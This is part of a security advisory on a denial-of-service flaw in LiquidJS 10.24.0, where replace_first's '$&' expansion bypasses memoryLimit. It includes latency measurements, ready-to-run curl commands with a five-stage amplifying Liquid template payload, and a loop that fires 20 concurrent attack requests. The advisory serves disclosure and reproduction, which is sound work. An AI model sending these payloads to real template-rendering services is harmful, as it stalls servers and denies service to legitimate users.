Advisory

GHSA-6q5m-63h6-5x4v

Details, part 2 of 2. The advisory

Details

Empirical results (Node.js v20.20.1, LiquidJS 10.24.0):

Normal[0s]:  13047ms  ← request sent concurrently with attack — 13s delay
Normal[3s]:  10124ms  ← still blocked 3 seconds later — 10s delay
Normal[6s]:   7186ms  ← still blocked 6 seconds later — 7s delay
DoS[1]:      14729ms
DoS[2-20]:   17747ms ~ 25353ms

With 20 concurrent requests, legitimate users experience up to 13-second delays. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.

HTTP Reproduction (for applications that accept user templates)

# $& expansion — should return "HELLO-HELLO-HELLO"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}"}'

# replace is safe — should return literal "$&$&$&"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}"}'

# 5-stage 50x amplification — produces ~312.5MB response
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s | size }}"}'
# 20 concurrent DoS attack requests
for i in $(seq 1 20); do
  curl -s -o /dev/null --max-time 120 -X POST "http://<app>/render" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode 'template={% assign s = "A" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{{ s }}' &
done

# Legitimate user request (concurrent)
curl -w "Normal: %{time_total}s\n" -s -o /dev/null --max-time 60 -X POST "http://<app>/render" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'template=<h1>Hello</h1>' &

wait

Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.

Impact

  • `memoryLimit` security bypass: The memory limit is rendered ineffective for templates using replace_first with $& patterns.
  • Demonstrated Denial of Service: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause complete service unavailability. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.
  • Measured service disruption (LiquidJS 10.24.0, Node.js v20, empirically verified):

| Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked |
|---------------------------|------------------------|-------------|---------------|
| 10 | 3.2s | 640x | ~11s |
| 20 | 10.9s | 2,180x | ~29s |

With 20 concurrent requests, legitimate user requests are delayed by 10.9 seconds and the server becomes completely unresponsive for 29 seconds. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.

Sources & licences